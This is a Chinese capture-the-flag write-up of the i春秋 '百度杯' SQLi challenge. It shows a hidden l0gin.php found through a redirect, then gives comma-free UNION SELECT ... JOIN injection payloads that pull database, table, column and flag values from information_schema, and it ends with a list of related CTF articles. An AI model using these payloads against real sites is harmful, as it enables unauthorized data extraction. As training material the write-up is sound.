今天在i春秋做题的时候遇到了一道非常好的题目,于是在参考了wp的基础上自己复现了一遍,算作一种技巧的学习与收藏吧。

题目i春秋连接:https://www.ichunqiu.com/battalion?t=1&r=54791

访问地址,发现什么都没有,



查看页面源代码,发现提示



访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/login.php?id=1

得到下面页面



我去,不会这就注入进去了吧?!话不多说,上sqlmap,



尝试了好多次,发现这就是个假的注入点,果然没那么简单啊,,,,

设置代理,利用工具Burp Suite看看究竟发生了什么,,,

可以看到在访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com的时候,302,页面重定向了。

注意看,下面两个图片





在302重定向回复报文中,url已经改变,原来箭头那里是3l,被重定向到31,6不6,哈哈。并且看到了新的页面地址l0gin.php?id=1

访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/l0gin.php?id=1

得到下图



修改参数,再次执行,



OK,看来这个确实是一个注入点,再用sqlmap测试,从结果可以看到这既是一个基于布尔的盲注,也是一个基于时间的盲注



接着爆数据库,发现无法得到,没办法,只能手工注入了,

这里我选择基于布尔的盲注,因为这样的回显比基于时间的看起来明显。

输入参数

1' and ascii(substr((select database()),1,1))>64 %23

查询数据库名,发现,注入失败,并且,后面的sql语句被过滤掉了,id字段输出的应该就是过滤后的sql语句了



从网上看到一篇讲不需要逗号的mysql注入文章,http://wonderkun.cc/index.html/?p=442

于是重新构造payload,如id=-1' union select * from (select
group_concat(distinct(table_schema)) from information_schema.tables ) a
join (select version() ) b %23


可以看到数据库名称为sqli



紧接着,构造payload,获取表名

-1' union select * from (select group_concat(distinct(table_name))
from information_schema.tables where table_schema='sqli') a join
(select version() ) b %23




构造payload,获取字段名

-1' union select * from (select
group_concat(distinct(column_name)) from information_schema.columns
where table_schema='sqli' and table_name='users') a join (select
version() ) b %23




构造payload,获取字段值,得到flag{34303304-de0b-4bad-a0df-84eb8a420df8}

-1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select version() ) b %23

 

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi ---不需要逗号的注入技巧的更多相关文章

  1. “百度杯”CTF比赛 九月场_YeserCMS

    题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直 ...

  2. “百度杯”CTF比赛 九月场_SQLi

    题目在i春秋ctf大本营 看网页源码提示: 这边是个大坑,访问login.php发现根本不存在注入点,看了wp才知道注入点在l0gin.php 尝试order by语句,发现3的时候页面发生变化,说明 ...

  3. “百度杯”CTF比赛 九月场_SQL

    题目在i春秋ctf大本营 题目一开始就提醒我们是注入,查看源码还给出了查询语句 输入测试语句发现服务器端做了过滤,一些语句被过滤了 试了一下/**/.+都不行,后来才发现可以用<>绕过 接 ...

  4. “百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

    题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/sea ...

  5. “百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

    题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: ...

  6. “百度杯”CTF比赛 九月场_再见CMS(齐博cms)

    题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...

  7. “百度杯”CTF比赛 九月场_Code(PhpStorm)

    题目在i春秋ctf大本营 打开链接是一张图片,审查元素发现关键词base64,图片的内容都以base64加密后的形式呈现,查看url形式,应该是一个文件读取的漏洞 这里我们可以采用url/index. ...

  8. “百度杯”CTF比赛 九月场 code

    先去i春秋打开复现环境 打开链接,emmmmmmm(是我妹妹,逃~) 说正经的,jpg=hei.jpg 这一看就是文件包含. 我们先看看穹妹的源码吧 返回的是图片用base64译码的结果. <t ...

  9. “百度杯”CTF比赛 九月场

    Test: 题目提示查资料 打开地址,是一个海洋cms 海洋cms有个前台getshell的漏洞 在地址后加上/search.php?searchtype=5&tid=&area=ev ...

随机推荐

  1. 【C++】STL算法

    STL算法 标签:c++ 目录 STL算法 一.不变序列算法 1.熟悉的min(), max() 2.找最值还自己动手么?不了不了 3.熟悉的find()和新学会的count() 二.变值算法 1.f ...

  2. 判断jquery类库是否加载,如未加载则加载。

    本人所有文章使用到的东西均在"渭南电脑维修网"网站中得以实现和应用,还请大家参考. 抄写别人网站的同时,N多不同的网站,势必有N多的css.javascript引用文件都会重复引用 ...

  3. 第57篇-profile实例

    之前已经介绍过回边计数和ProfileData与Layout,下面举个具体的例子看下MethodData是怎么利用ProfileData等记录详细的运行时信息的.实例如下: package com.t ...

  4. 在3G移动通信网络信令流程里获取用户电话号的一种方法(中国电信cdma2000)

    首先这些关于电话号的的寻找都是在分组域进行的 然后是首先在rp接口的A11接口寻找,没有看到,于是到pi接口,研究radius协议 发现在协议里也不含有与用户电话号码mdn相关的元素 然后偶遇一篇文档 ...

  5. rpc基础讲解

    什么是RPC 本地过程调用 远程过程调用带来的3个问题 RPC的调用过程 RPC的具体过程如下 总结 RPC.HTTP.Restful之间的区别 通过httpserver实现rpc 首先一点需要明确: ...

  6. SQL查询字段,起别名,列参与数学运算

    13.简单查询 13.1.查询一个字段? select 字段名 from 表名: 其中要注意: select和from都是关键字 字段名和表名都是标识符. 强调: 对于SQL语句说,是通用的 所有的S ...

  7. Java高效开发-常用idea插件

    这里推荐几个常用的idea插件,可以大大提高开发的效率 所使用的idea版本为 2021.2.3 1.Jrebel and Xrebel for IntelliJ Jrebel用于热部署,避免频繁重启 ...

  8. [HZOI] 山海经 题解

    0.题目大意 给出一个序列,每次查询一个区间的最大子段和的端点和值.序列长度 \(n \le 10^{5}\) . 1.思路 显然应该使用线段树.题目要求每次求一个区间的最大子段和,那么在线段树节点中 ...

  9. GC基础知识

    内存溢出和内存泄漏 内存溢出(Out Of Memory) 就是申请内存时,JVM没有足够的内存空间.通俗说法就是去蹲坑发现坑位满了. 内存泄露 (Memory Leak) 就是申请了内存,但是没有释 ...

  10. 编译PHP扩展的方式

    编译的两种方式其实很简单,这里记录只是为了以后遇到这种情况时不加思索地运用上,而不是花费一些时间去回忆. C/C++程序编译有两种方式:动态编译.静态编译.PHP 是使用 C/C++程序开发的一门脚本 ...